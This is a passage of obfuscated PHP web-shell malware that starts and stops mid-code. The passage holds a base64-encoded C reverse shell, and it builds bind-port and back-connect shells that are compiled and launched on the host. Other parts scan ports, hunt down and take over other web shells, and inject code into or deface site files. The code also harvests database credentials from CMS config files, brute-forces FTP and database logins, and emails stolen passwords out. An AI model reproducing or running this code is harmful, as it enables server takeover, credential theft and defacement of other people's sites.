9ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyAKIGlmICgoY29ubmVjdChmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSAmc2luLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSkpPDApIHsKICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7CiAgIGV4aXQoMCk7CiB9CiBzdHJjYXQocm1zLCBhcmd2WzBdKTsKIHN5c3RlbShybXMpOyAgCiBkdXAyKGZkLCAwKTsKIGR1cDIoZmQsIDEpOwogZHVwMihmZCwgMik7CiBleGVjbCgiL2Jpbi9zaCIsInNoIiwgTlVMTCk7CiBjbG9zZShmZCk7IAp9Cgo=\";$bndportsrcs=array(\"bndprt.pl\"=>array(\"PERL\",\"perl %path\"),\"bndprt.c\"=>array(\"C\",\"%path\"));$bcsrcs=array(\"bckcon.pl\"=>array(\"PERL\",\"perl %path %host %port\"),\"bckcon.c\"=>array(\"C\",\"%path %host %port\"));if(!@isset($brtest1))$brtest1=0;if(!@isset($brtest2))$brtest2=0;if(!@isset($brtest3))$brtest3=0;if(!@isset($brtest4))$brtest4=0;$users=array();if(@empty($brute_email))$brute_email=z7x('2',\"email\");if(@empty($dv_email))$dv_email=z7x('2',\"email\");if(@empty($cp_email))$cp_email=z7x('2',\"email\");if(@isset($brm)&&($brm==\"2\"||$brm==\"3\")){$users=z6m();}$brute_type[\"1\"]=z9s(\"343\");if($bpasswd){$brute_type[\"2\"]=z9s(\"344\");$brute_type[\"3\"]=z9s(\"345\");}$available_arr=array();if($bftp)$available_arr[\"FTP\"]=\"FTP\";if($bmysql)$available_arr[\"MySQL\"]=\"MySQL\";if($bmssql)$available_arr[\"MSSQL\"]=\"MSSQL\";if($bpostgres)$available_arr[\"PostgreSQL\"]=\"PostgreSQL\";if($boracle)$available_arr[\"Oracle\"]=\"Oracle\";if(!@isset($brh))$brh=$saddr;if(!@isset($dvfiles))$dvfiles=\"*conf*.php;*db*.php;\";if(!@isset($dvuser))$dvuser=\"user\";if(!@isset($dvpass))$dvpass=\"pass\";if(!@isset($dvhost))$dvhost=\"host\";if(!@isset($dvbase))$dvbase=\"base\";$arr_vars=array(\"var\"=>\"variable (\\$var)\",\"arrayvar1\"=>\"arrayvar ('var'=>)\",\"arrayvar2\"=>\"arrayvar (['var']=>)\",\"const\"=>\"constant (define)\");$rec_arr=array();for($i=0;$i<10;$i++)$rec_arr[($i+1)]=($i+1).\" DIRS\";$rec_arr[\"no\"]=\"NO\";$arr_dvfind=array(\"dvdir\"=>z9s(\"325\"));$arr_method=array(\"cpdir\"=>z9s(\"304\"));if(($wwwdir=z3k())!==false){$arr_dvfind[\"docroot\"]=z9s(\"326\");$arr_method[\"cpdocroot\"]=z9s(\"305\");}if($bpasswd){$arr_dvfind[\"passwd\"]=z9s(\"327\");$arr_method[\"cppasswd\"]=z9s(\"306\");}$arr_sfuncs=array(\"glob\"=>\"glob\");if($nix&&$sh_exec){$arr_sfuncs[\"find\"]=\"find\";}$inj_method=array(\"top\"=>\"Top of the file\",\"end\"=>\"End of the file\",\"php1\"=>\"Before first &lt;?\",\"html1\"=>\"Before &lt;html&gt;\",\"html2\"=>\"Before &lt;\/html&gt;\",\"body1\"=>\"Before &lt;body.*&gt;\",\"body2\"=>\"Before &lt;\/body&gt;\",\"php2\"=>\"After last ?&gt;\",\"body3\"=>\"After &lt;body.*&gt;\",\"body4\"=>\"After &lt;\/body&gt;\",\"html3\"=>\"After &lt;html&gt;\",\"html4\"=>\"After &lt;\/html&gt;\",\"overwrite\"=>\"Deface (Overwrite file)\");if(!@isset($bnd_port)||!@is_numeric($bnd_port))$bnd_port=z7x('2','bind_port');if(!@isset($bnd_pass)||@empty($bnd_pass))$bnd_pass=z7x('2','bind_pass');if(!@isset($bc_host)||@empty($bc_host))$bc_host=$yaddr;if(!@isset($bc_port)||!@is_numeric($bc_port))$bc_port=z7x('2','backcon_port');$bindmsg=$bcmsg=\"\";if(@isset($bindsubmit)&&$bindsubmit){$v=$bndportsrcs[$bnd_src];if(@empty($v)){$bindmsg=z9s(\"272\");}elseif(@fsockopen(\"localhost\",$bnd_port,$errno,$errstr,0.1)){$bindmsg=z9s(\"275\",$bnd_port);}else{$w=@explode(\".\",$bnd_src);$ext=$w[@count($w)-1];unset($w[count($w)-1]);$srcpath=$tempdir.@join(\".\",$w).\".\".@md5(@time()).\".\".$ext;$binpath=$tempdir.@join(\".\",$w).@md5(@time());if($ext==\"pl\"){$binpath=$srcpath;}@unlink($srcpath);$fp=@fopen($srcpath,\"ab+\");if(!$fp){$bindmsg=z9s(\"271\");}else{$data=@base64_decode(${@str_replace('.','_',$bnd_src)});$data=@str_replace(\"%pass%\",$bnd_pass,$data);$data=@str_replace(\"%port%\",$bnd_port,$data);@fwrite($fp,$data,@strlen($data));@fclose($fp);if($ext==\"c\"){$retgcc=z9t(\"gcc -o \".$binpath.\" \".$srcpath);@unlink($srcpath);}$v[1]=@str_replace(\"%path\",$binpath,$v[1]);$v[1]=@str_replace(\"\/\/\",\"\/\",$v[1]);$retbind=z9t($v[1].\" > \/dev\/null &\");@sleep(5);$sock=@fsockopen(\"localhost\",$bnd_port,$errno,$errstr,5);if(!$sock){$bindmsg=z9s(\"273\",$bnd_port);}else{$bindmsg=z9s(\"274\",array($saddr,$bnd_port));}}}}if(@isset($bcsubmit)&&$bcsubmit){$v=$bcsrcs[$bc_src];if(@empty($v)){$bcmsg=z9s(\"272\");}else{$w=@explode(\".\",$bc_src);$ext=$w[count($w)-1];unset($w[count($w)-1]);$srcpath=$tempdir.join(\".\",$w).\".\".@md5(@time()).\".\".$ext;$binpath=$tempdir.join(\".\",$w).@md5(@time());if($ext==\"pl\"){$binpath=$srcpath;}@unlink($srcpath);$fp=@fopen($srcpath,\"ab+\");if(!$fp){$bcmsg=z9s(\"271\");}else{$data=@base64_decode(${str_replace('.','_',$bc_src)});@fwrite($fp,$data,strlen($data));fclose($fp);if($ext==\"c\"){$retgcc=z9t(\"gcc -o \".$binpath.\" \".$srcpath);@unlink($srcpath);}$v[1]=@str_replace(\"%path\",$binpath,$v[1]);$v[1]=@str_replace(\"%host\",$bc_host,$v[1]);$v[1]=@str_replace(\"%port\",$bc_port,$v[1]);$v[1]=@str_replace(\"\/\/\",\"\/\",$v[1]);$retbind=z9t($v[1].\" > \/dev\/null &\");$bcmsg=z9s(\"76\",array($bc_host,$bc_port));}}}$selecta=$selectb=array();foreach($bndportsrcs as $k=>$v)$selecta[$k]=$v[0];foreach($bcsrcs as $k=>$v)$selectb[$k]=$v[0];if(!$win&&($sh_exec||$safe_exec)){echo z2b(array(z9s(\"265\").(!@empty($bindmsg)?\" - \".@strtoupper($bindmsg):\"\"),z9s(\"266\").(!@empty($bcmsg)?\" - \".@strtoupper($bcmsg):\"\")),'46');echo z9m(2).z7p().z7k('','4');echo z5c(array(\"act\"=>\"tools\",\"d\",\"bindsubmit\"=>\"1\"),z10e(z5n().z7i(z5t(z9s(\"267\")).z9j(z6i(\"bnd_pass\",$bnd_pass,'4').\":\".z6i(\"bnd_port\",$bnd_port,'1').\":\".z4a(\"bnd_src\",$selecta,'1',1).z8v(z9s(\"268\"),'7'))).z5n(),'2'));echo z7g().z7k('','46');echo z5c(array(\"act\"=>\"tools\",\"d\",\"bcsubmit\"=>\"1\"),z10e(z5n().z7i(z5t(z9s(\"434\")).z9j(z6i(\"bc_host\",$bc_host,'4').\":\".z6i(\"bc_port\",$bc_port,'1').\":\".z4a(\"bc_src\",$selectb,'1',1).z8v(z9s(\"435\"),'7'))).z5n(),\"2\"));echo z7g().z7u().z10w();$ii=0;if(@is_dir($tempdir)){if($dh=@opendir($tempdir)){while(($file=@readdir($dh))!==false){if(@preg_match('\/^(bndprt|bckcon)\\.?[a-zA-Z0-9]{32}\/',$file)){if(@isset($clean)){@unlink($tempdir.$file);}else{$ii++;}}}@closedir($dh);}}if($ii!=0)echo z2b(@strtoupper(z9s(\"269\",$ii)).z5c(array(\"act\"=>\"tools\",\"d\",\"clean\"=>\"1\"),z8v(z9s(\"270\"),'7')));}$pscmsg='';$startscan=0;if(@isset($pscan)&&$pscan&&!@empty($pscip)&&@is_numeric($pscps)&&@is_numeric($pscpe)){if($pscps<0||$pscps>65535||$pscpe<0||$pscpe>65535){$pscmsg=z9s(\"280\");}else{$startscan=1;}}echo z2b(array(z9s(\"281\"),z9s(\"277\").($pscmsg!=''?\" : \".$pscmsg:'')),\"46\");if(!@isset($pscip))$pscip=$saddr;if(!@isset($pscps))$pscps=\"0\";if(!@isset($pscpe))$pscpe=\"65535\";echo z9m(2).z7p().z7k('','4').z6d().z9m('2').z7z().z9b(\"shellhunt\",\"1\").z9b(\"act\",\"tools\").z9b(\"d\").z7i(z5t(z9s(\"282\")).z9j(z4a(\"shaction\",array(\"view\"=>z9s(\"284\"),\"viewall\"=>z9s(\"285\"),\"own\"=>z9s(\"286\"),\"ownall\"=>z9s(\"287\")),\"5\",1).\":\".z4a(\"shrecursive\",$rec_arr,\"1\",1).z8v(z9s(\"436\"),\"7\"))).z7i(z5t(z9s(\"283\")).z9j(z4a(\"hsfunc\",$arr_sfuncs,\"1\",1).\":\".z5u(\"shpath\",$d,\"2\"))).z9z().z10w().z6d().z7g().z7k('','46').z6d().z9m('2').z5c(array(\"act\"=>\"tools\",\"d\",\"pscan\"=>\"1\"),z7i(z5t(z9s(\"278\")).z9j(z6i(\"pscip\",$pscip,\"4\").\":\".z6i(\"pscps\",$pscps,'1').\"-\".z6i(\"pscpe\",$pscpe,'1').z8v(z9s(\"279\"),'7')))).z10w().z6d().z7g().z7u().z10w();if(@isset($shellhunt)&&$shellhunt){$glob=$shells=array();$glob=z5s($shpath,\"*.php\",$shrecursive,(($hsfunc==\"find\")?true:false));if(@count($glob)>0){$viewall=$rcown=0;switch($shaction){case 'view':$viewall=$rcown=0;break;case 'viewall':$viewall=1;$rcown=0;break;case 'own':$viewall=0;$rcown=1;break;case 'ownall':$viewall=$rcown=1;break;default:$viewall=$rcown=0;break;}foreach($glob as $tmp){if(($ttype=z2y($tmp,$viewall,$rcown))!==false){$shells[$tmp]=$ttype;}}}if(@count($shells)>0){if(($wwwdir=z3k())!==false){$url=z8o();$url_a=@parse_url($url);if(@isset($url_a[\"host\"])){$shellhost=$url_a[\"host\"];}}$external=1;echo z2b(z9s(\"288\"),\"1\").z9m(\"2\").z7i(z9j(z9s(\"292\"),\"13\",\"2\").z9j(z9s(\"293\"),\"13\").z9j(z9s(\"294\"),\"13\").z9j(z9s(\"295\"),\"13\",\"3\"));$tr=0;foreach($shells as $shell=>$shelltype){$wwwlink=\"-\";if(@isset($shellhost)&&@strstr($shell,$wwwdir)!==false){$wwwlink=z10y('http:\/\/'.$shellhost.'\/'.@substr($shell,@strlen($wwwdir)).'\"',z9s(\"296\"),\"1\",1);}echo z7i(z9j(z2h($shell),\"14\",\"2\").z9j($shelltype,\"14\").z9j($wwwlink,\"14\").z9j(z0h($shell,\"1\").z5c(array(\"act\"=>\"f\",\"ft\"=>\"rcown\",\"d\"=>z3p($shell),\"f\"=>z2h($shell)),z8v(z9s(\"297\"),\"18\"),\"1\"),\"14\",\"3\"),($tr%2?'0':'1'));$tr++;}echo z10w();}}if($startscan){$pscan=z8c($pscip,$pscps,$pscpe);if(@!empty($pscan)){echo z2b(z9s(\"289\"));echo z6d().z10e(z7i(z6x(z5w('','1').$pscan.z5q())),'2').z6d();}}echo z2b(array(z9s(\"298\"),z9s(\"309\")),\"46\");echo z9m(2).z7p().z7k('','4').z6d().z9m('2').z7z().z9b(\"cpfind\",\"1\").z9b(\"act\",\"tools\").z9b(\"d\").z7i(z5t(z9s(\"299\")).z9j(z5u(\"cphost\",\"127.0.0.1\",\"5\").\":\".z5u(\"cpuser\",\"root\",\"4\").\":\".z4a(\"cpservice\",$available_arr,\"1\",1))).z7i(z5t(z9s(\"300\")).z9j(z5u(\"cpfiles\",\"*conf*.php;*db*.php;\",\"5\").\":\".z4a(\"cpmethod\",$arr_method,\"4\",1).\":\".z4a(\"cprecursive\",$rec_arr,\"1\",1))).z7i(z5t(z9s(\"301\")).z9j(z4a(\"csfunc\",$arr_sfuncs,\"1\",1).\":\".z5u(\"cpdir\",$d,\"2\"))).($bmail?z7i(z5t(z9s(\"302\")).z9j(z5u(\"cp_email\",\"\",'2').z9g(\"cp_log\"))):'').z7i(z5t(z9c()).z9j(z8v(z9s(\"307\"),\"7\").z9c().z5y(\"cppassfile\",z9s(\"303\"),\"cppassfile\"))).z9z().z10w().z6d().z7g().z7k('','46').z6d().z9m('2').z7z().z9b(\"inject\",\"1\").z9b(\"act\",\"tools\").z9b(\"d\").z7i(z5t(z9s(\"310\")).z9j(z5u(\"injfiles\",\"*.html;index.php;\",\"5\").\":\".z4a(\"injmethod\",$inj_method,\"4\",1).\":\".z4a(\"injrecursive\",$rec_arr,\"1\",1))).z7i(z5t(z9s(\"311\")).z9j(z4a(\"isfunc\",$arr_sfuncs,\"1\",1).\":\".z5u(\"injdir\",$d,\"2\"))).z9f(z5t(z9s(\"312\")).z9j(z5w(\"injcode\",\"6\").(@isset($injcode)?@htmlspecialchars($injcode):'').z5q())).z7i(z5t(z9c()).z9j(z8v(z9s(\"313\"),\"7\"))).z9z().z10w().z6d().z7g().z7u().z10w();if(@isset($inject)&&$inject){$glob=array();$glob=z5s($injdir,$injfiles,$injrecursive,(($isfunc==\"find\")?true:false));if(@count($glob)>0){$i=0;foreach($glob as $file){if(z4i($injcode,$injmethod,$file)){if($i==0){echo z2b(z9s(\"314\")).z6d().z9m(\"2\").z6g().z6w().z5w('','1');z5p();}echo $file.\"\\r\\n\";$i++;}}if($i>0)echo z5q().z7g().z7u().z10w().z6d();}}if(@isset($cpfind)&&$cpfind&&(!@empty($cpuser)||$cpmethod==\"cppasswd\")){echo z2b(z9s(\"308\")).z6d();echo z9m('2').z7p().z6w().z5w(\"\",\"1\");z5p();$glob=array();switch($cpmethod){case 'cpdir':$glob[$cpuser]=z5s($cpdir,$cpfiles,$cprecursive,(($csfunc==\"find\")?true:false));break;case 'cpdocroot':$glob[$cpuser]=z5s(z1a($wwwdir),$cpfiles,$cprecursive,(($csfunc==\"find\")?true:false));break;case 'cppasswd':$uarr=z6m(1);if(@count($uarr)>0){foreach($uarr as $uk=>$arr){if($arr[1]!='\/'&&!@preg_match('#^(\/var\/run|\/var\/log|\/var\/cache|\/var\/mail|\/var\/cache|\/var\/backup|\/usr\/games|\/lib|\/var\/lib|\/var\/tmp|\/tmp|\/dev|\/proc|\/sbin|\/usr\/sbin|\/usr\/local\/sbin|\/bin|\/usr\/bin|\/usr\/local\/bin)#',$arr[1])&&z4j($arr[1])){$glob[$arr[0]]=z5s(z1a($arr[1]),$cpfiles,$cprecursive,(($csfunc==\"find\")?true:false));}}}unset($uarr);break;default:break;}if(@count($glob)>0){foreach($glob as $user=>$file_arr){if(@count($file_arr)>0){foreach($file_arr as $tfile){z1m($tfile,$user);}}}}$log='';$found=0;if(@isset($passarray)&&@count($passarray)>0){foreach($passarray as $user=>$passwords){if(@count($passwords)>0){foreach($passwords as $pass){if(@isset($cppassfile)&&$cppassfile){echo\"$user $pass\\r\\n\";}else{if(!@isset($stop))$stop=0;if($cpservice==\"FTP\"&&$bftp&&!$stop){$test=z3h($cphost,$user,$pass,21,3);if($test==\"failed\"){$stop=1;}elseif($test==\"valid\"){$found++;$tmp=\"host: $cphost\\r\\n\";$tmp.=\"user: $user\\r\\n\";$tmp.=\"pass: $pass\\r\\n\";$tmp.=\"service: $cpservice\\r\\n\\r\\n\";echo $tmp;$log.=$tmp;}}else{if(z4u($cphost,$user,$pass,'',$cpservice)==\"valid\"){$found++;$tmp=\"host: $cphost\\r\\n\";$tmp.=\"user: $user\\r\\n\";$tmp.=\"pass: $pass\\r\\n\";$tmp.=\"service: $cpservice\\r\\n\\r\\n\";echo $tmp;$log.=$tmp;}}}}}}}if($cp_log==\"1\"&&$found>0&&$bmail){@mail($cp_email,\"$cpservice|$cphost\",$log);}echo z5q().z7u().z7g().z10w().z6d();}$arr_cfgs=array(''=>\"Select Software\",\"joomla\"=>\"Joomla\",\"opencart\"=>\"Opencart\",\"osc\"=>\"Oscommerce\",\"pinnaclecart\"=>\"Pinnaclecart\",\"squirrelcart\"=>\"Squirrelcart\",\"wordpress\"=>\"Wordpress\",\"xcart\"=>\"X-cart\",\"zencart\"=>\"Zen-cart\",\"all\"=>\"All of above\");if(@isset($sqlfind)&&$sqlfind&&@isset($dvdefined)&&!@empty($dvdefined)&&@isset($dvpasswd)&&!@empty($dvpasswd)){$dvcfgs=\"nVrkA0mFRDYCHunZ3cN9mLz5pNShsm0r8L4drmb0FTMSPnfIqA4j+Uq6gfLYuldrtsMMNTgK5UoZ3ViSZ5jne7teFyngMstdNqjRBr1NSDZgOnhkT05Hm25ikOaooEva9Wc965VdcbUYpnqs8xq5VDaKeBpRkS1VAxaLTKOr899pfM1pm\/v7Rdctk4H0A4bXSxn5Lup5HAdjjl1EzocQXar6WsYumziDYD\/EOBgmBiNVl\/+kGwfPs64vQfzVuttfcY7tizzenPmMJgE8BGj2AZuXWtxnl3UO4CAPBOdtwkrv+PwMsYhffkEyh17eC3BufrqDkWAQhECUhs8dnp1R0g5\/ByuJMebTOe9qwpDDh5goXgYhtjTthSEu4XShBdKNHg+ve\/4\/QhiJb0hSq8ezOZHCmW1PZ\/0gyrywZx2aucGJeCZx3mxnfjiKAGHcnJaiFDV09dXZRuvfGe6SGiPq84bErZThDHORRs5Fz8NivUxj9m+WW7QRtak8EOUiIcTlbPIP85XIWob21V3v83fAAOAr9oJUJJ8gpdfqOLIyJyfa5Kvas2O1DHnvqoS6GsEGGrfnlXHoTeiw47nGeR4SoC7BFPu0hM3hnC4QPR8jrI7D5xYYO3wzK4uhJU4f5Ot8GuqNTsjE1LTyuBqJbeY4I5tcmQLsFYmqyGEQXP4NDExH7OlBMKSlpVkMEeLtouWDMdeAhiYiyWM20jy2VJi5xiQevlBfG\/briKFxmCwNdmF2JexxL6qlRGn+Rdx9VYGFot2rxR7y2JTeViten\/QNci1L4xAWoHaT1EMCd0zxP\/ZYRcBgvzt4326NG1WBspNY6SeSnbBQvPoMcrnOjXHrARy1NyzAUHGhtWeBoFAlShuSA2c4cqGEQTrs1PPKxpTbBacuNLMmm+wvMNvBhdt2HTfZTjdYyEn0qEfOVPTWb8LWPKWxA\/zIJ5OYeVH69g0b4CPNknHes4yNY6D7RxK905EY0DMMI1h8HY1n7r7ZvWd84O3VBf904vQUILRA\/vhyRb7oKUHttyCruZoG4lgAQGg78PHaYugtc9SFu7Pq41Cn\";$ddcfgs=zrc4::zdec(@md5($dvpasswd),@base64_decode($dvcfgs));if($dvdefined==\"all\"){$arr_mass=array();$arr_mass_paths=array();foreach($arr_cfgs as $tcfg=>$tsoft){if($tcfg!=''&&$tcfg!=\"all\"){$tddcfg=@explode(\"|\".$tcfg.\"|\",$ddcfgs);$tddcfg=@substr($tddcfg[1],0,@strpos($tddcfg[1],\"|\"));@list($tdvuser,$tdtuser,$tdvpass,$tdtpass,$tdvbase,$tdtbase,$tdvhost,$tdthost,$tdvfiles,)=@explode(\",\",$tddcfg);$arr_mass[$tsoft]=array($tdvuser,$tdtuser,$tdvpass,$tdtpass,$tdvbase,$tdtbase,$tdvhost,$tdthost);$tefiles=@explode(\";\",$tdvfiles);foreach($tefiles as $tefile){$tefile=@trim($tefile);if(!@empty($tefile)&&!@in_array($tefile,$arr_mass_paths))$arr_mass_paths[]=$tefile;}}}}else{if(@strpos($ddcfgs,\"|\".$dvdefined.\"|\")!==false){$ddcfg=@explode(\"|\".$dvdefined.\"|\",$ddcfgs);$ddcfg=@substr($ddcfg[1],0,@strpos($ddcfg[1],\"|\"));@list($dvuser,$dtuser,$dvpass,$dtpass,$dvbase,$dtbase,$dvhost,$dthost,$dvfiles,)=@explode(\",\",$ddcfg);}}}echo z2b(array(z9s(\"315\"),z9s(\"337\")),'46');echo z9m(2).z7p().z7k('','4').z6d().z9m('2').z7z().z9b(\"sqlfind\",\"1\").z9b(\"act\",\"tools\").z9b(\"d\").z7i(z5t(z9s(\"316\")).z9j(z5u(\"dvuser\",\"\",\"5\").\":\".z4a(\"dtuser\",$arr_vars,\"4\",1).z9c().z9s(\"328\"))).z7i(z5t(z9s(\"317\")).z9j(z5u(\"dvpass\",\"\",\"5\").\":\".z4a(\"dtpass\",$arr_vars,\"4\",1).z9c().z9s(\"328\"))).z7i(z5t(z9s(\"318\")).z9j(z5u(\"dvbase\",\"\",\"5\").\":\".z4a(\"dtbase\",$arr_vars,\"4\",1).z9c().z9s(\"329\"))).z7i(z5t(z9s(\"319\")).z9j(z5u(\"dvhost\",\"\",\"5\").\":\".z4a(\"dthost\",$arr_vars,\"4\",1).z9c().z9s(\"329\"))).z7i(z5t(z9s(\"320\")).z9j(z4a(\"dvdefined\",$arr_cfgs,\"5\",1).\":\".z5u(\"dvpasswd\",\"\",\"4\").z9c().\"anti-lamerz :)\")).z7i(z5t(z9s(\"321\")).z9j(z5u(\"dvfiles\",\"\",\"5\").\":\".z4a(\"dvfind\",$arr_dvfind,\"4\",1).\":\".z4a(\"dtrecursive\",$rec_arr,\"1\",1))).z7i(z5t(z9s(\"322\")).z9j(z4a(\"dsfunc\",$arr_sfuncs,\"1\",1).\":\".z5u(\"dvdir\",$d,\"2\"))).($bmail?z7i(z5t(z9s(\"302\")).z9j(z5u(\"dv_email\",\"\",'2').z9g(\"dv_log\"))):'').z7i(z5t(z9c()).z9j(z8v(z9s(\"323\"),\"7\").z9c().z5y(\"dvsqltest\",z9s(\"324\"),\"dvsqltest\"))).z9z().z10w().z6d().z7g().z7k('','46').z6d().z9m('2').z7z().z9b(\"startbrute\",\"1\").z9b(\"act\",\"tools\").z9b(\"d\").z7i(z5t(z9s(\"338\")).z9j(z5u(\"brh\",\"\",\"4\").\":\".z5u(\"brp\",\"\",\"6\").\":\".z4a(\"bservice\",$available_arr,\"4\",1))).z7i(z5t(z9s(\"339\")).z9j(z5u(\"bru\",\"\",'4').\":\".z5u(\"brdb\",\"\",'5'))).z7i(z5t(z9s(\"340\")).z9j(z9h(\"wordlist\",'2'))).z7i(z5t(z9s(\"341\")).z9j(z4a(\"brm\",$brute_type,'2',1))).z7i(z5t(z9s(\"342\")).z9j(z5y(\"brtest1\",\"user:resu\",\"brtest1\").z9c(1).z5y(\"brtest2\",\"user:user1\",\"brtest2\").z9c(1).z5y(\"brtest3\",\"user:user123\",\"brtest3\"))).z7i(z5t(z9c()).z9j(z5y(\"brtest4\",\"Transform password to p@55w0rd\",\"brtest4\"))).($bmail?z7i(z5t(z9s(\"302\")).z9j(z6i(\"brute_email\",$brute_email,'2').z9g(\"brute_log\"))):'').z7i(z5t(z9c()).z9j(z8v(z9s(\"346\"),\"7\"))).z9z().z10w().z6d().z7g().z7u().z10w();if(@isset($startbrute)&&$startbrute){$stop=0;echo z2b(z9s(\"347\",$bservice,1)).z6d();echo z9m('2').z7p().z6w().z5w(\"\",\"1\");z5p();$con=true;$show=0;$log=\"\";if($bservice==\"FTP\"){$brp=(@preg_match(\"\/^[0-9]{1,5}$\/\",$brp)?$brp:\"21\");}elseif($bservice==\"MySQL\"){$brp=(@preg_match(\"\/^[0-9]{1,5}$\/\",$brp)?$brp:\"3306\");}if($brm==\"1\"||$brm==\"3\"){$dictionary=array();$list=@fopen($_FILES['wordlist']['tmp_name'],'r');if(@is_resource($list)){while(!@feof($list)){$dictionary[]=@trim(@fgets($list));}@fclose($list);}$dictionary=@array_unique($dictionary);}if($bservice==\"FTP\"&&$bftp){$time=3;$success=0;$count=0;if(!@empty($bru)&&!$stop){$test=z2t($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$bru);if(!$test)$stop=1;z2w($test[0],$test[1],$test[2]);}if(($brm==\"2\"||$brm==\"3\")&&!$stop){foreach($users as $user){$test=z2t($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$user);if(!$test){$stop=1;break;}z2w($test[0],$test[1],$test[2]);if($brm==\"3\"){foreach($dictionary as $passwd){$test=z2t($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$user,$passwd);z2w($test[0],$test[1],$test[2]);}}}}else if($brm==\"1\"&&!@empty($bru)&&!$stop){foreach($dictionary as $passwd){$test=z2t($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$bru,$passwd);if(!$test){$stop=1;break;}z2w($test[0],$test[1],$test[2]);}}echo \"\\r\\n--------------------\\r\\n\";echo z9s(\"426\",$count).\"\\r\\n\";echo z9s(\"427\",$success).\"\\r\\n\";}elseif($bmysql||$bmssql||$boracle||$bpostgres){$success=0;$count=0;if(!@empty($bru)){$test=z2e($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$bru,NULL,(!@empty($brdb)?$brdb:''));z2w($test[0],$test[1],$test[2]);}if($brm==\"2\"||$brm==\"3\"){foreach($users as $user){$test=z2e($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$user,NULL,(!@empty($brdb)?$brdb:''));z2w($test[0],$test[1],$test[2]);if($brm==\"3\"){foreach($dictionary as $passwd){$test=z2e($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$user,$passwd,(!@empty($brdb)?$brdb:''));z2w($test[0],$test[1],$test[2]);}}}}else if($brm==\"1\"&&!@empty($bru)){foreach($dictionary as $passwd){$test=z2e($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$bru,$passwd,(!@empty($brdb)?$brdb:''));z2w($test[0],$test[1],$test[2]);}}echo \"\\r\\n--------------------\\r\\n\";echo z9s(\"426\",$count).\"\\r\\n\";echo z9s(\"427\",$success).\"\\r\\n\";echo $log;}if($brute_log==\"1\"&&$success>0){@mail($brute_email,\"$bservice|$brh:$brp\",$log);}echo z5q().z7u().z7g().z10w().z6d();}if(@isset($sqlfind)&&$sqlfind&&!@empty($dvuser)&&!@empty($dvpass)){echo z2b(z9s(\"330\")).z6d();echo z9m('2').z7p().z6w().z5w(\"\",\"1\");z5p();$dpaths=$glob=array();$farr=@explode(\";\",$dvfiles);if($dvdefined==\"all\"&&@isset($arr_mass_paths)&&@is_array($arr_mass_paths)&&@count($arr_mass_paths)>0){$farr=$arr_mass_paths;}$wildcards=@implode(\";\",$farr);switch($dvfind){case 'dvdir':$dpaths[]=z1a($dvdir);break;case 'docroot':$dpaths[]=z1a($wwwdir);break;case 'passwd':$uarr=z6m(1);if(@count($uarr)>0){foreach($uarr as $uk=>$arr){if(!@in_array($arr[1],$dpaths)&&$arr[1]!='\/'&&!@preg_match('#^(\/var\/run|\/var\/log|\/var\/cache|\/var\/mail|\/var\/cache|\/var\/backup|\/usr\/games|\/lib|\/var\/lib|\/var\/tmp|\/tmp|\/dev|\/proc|\/sbin|\/usr\/sbin|\/usr\/local\/sbin|\/bin|\/usr\/bin|\/usr\/local\/bin)#',$arr[1])&&z4j($arr[1]))$dpaths[]=z1a($arr[1]);}}unset($uarr);break;default:break;}foreach($dpaths as $dpath){$tglob=z5s($dpath,$wildcards,$dtrecursive,(($dsfunc==\"find\")?true:false));if(@is_array($tglob)&&@count($tglob)>0){foreach($tglob as $tfile){if(!@in_array($tfile,$glob))$glob[]=$tfile;}}}$glob=@array_unique($glob);unset($dpaths);if(@count($glob)>0){$uhashes=array();$log='';$line=@str_repeat(\"-\",100).\"\\r\\n\";$final_arr=array();foreach($glob as $file){$tct=z9p($file);if(!@empty($tct)){if($dvdefined==\"all\"&&@isset($arr_mass)&&@is_array($arr_mass)&&@count($arr_mass)>0){foreach($arr_mass as $software=>$defines){$base=\"\";$user=z4b($defines[1],$defines[0],$tct);$pass=z4b($defines[3],$defines[2],$tct);if(!@empty($defines[4])){$base=z4b($defines[5],$defines[4],$tct);}if(!@empty($defines[6])){$host=z4b($defines[7],$defines[6],$tct);}if(!@isset($host)||@empty($host))$host=\"localhost\";if(!@empty($host)&&!@empty($user)&&!@empty($pass)){$add=0;if(@isset($dvsqltest)&&$dvsqltest){if(z4u($host,$user,$pass,\"3306\",\"MySQL\")==\"valid\")$add=1;}else{$add=1;}if($add){$tmphash=@md5($host.$user.$pass.$base);if(!@in_array($tmphash,$uhashes)){$uhashes[]=$tmphash;$tmp=$line;$tmp.=\"$file\\r\\n\";$tmp.=\"Software tested: $software\\r\\n\";$tmp.=$line;$tmp.=\"host: $host\\r\\n\";$tmp.=\"user: $user\\r\\n\";$tmp.=\"pass: $pass\\r\\n\";$tmp.=\"database: $base\\r\\n\\r\\n\";echo $tmp;$log.=$tmp;if(!@isset($final_arr[$file]))$final_arr[$file]=array($host,$user,$pass,$base,$software);}break;}}}}else{$base=\"\";$user=z4b($dtuser,$dvuser,$tct);$pass=z4b($dtpass,$dvpass,$tct);if(!@empty($dvbase)){$base=z4b($dtbase,$dvbase,$tct);}if(!@empty($dvhost)){$host=z4b($dthost,$dvhost,$tct);}if(!@isset($host)||@empty($host))$host=\"localhost\";if(!@empty($host)&&!@empty($user)&&!@empty($pass)){$add=0;if(@isset($dvsqltest)&&$dvsqltest){if(z4u($host,$user,$pass,\"3306\",\"MySQL\")==\"valid\")$add=1;}else{$add=1;}if($add){$tmphash=@md5($host.$user.$pass.$base);if(!@in_array($tmphash,$uhashes)){$uhashes[]=$tmphash;$tmp=$line;$tmp.=\"$file\\r\\n\";$tmp.=$line;$tmp.=\"host: $host\\r\\n\";$tmp.=\"user: $user\\r\\n\";$tmp.=\"pass: $pass\\r\\n\";$tmp.=\"database: $base\\r\\n\\r\\n\";echo 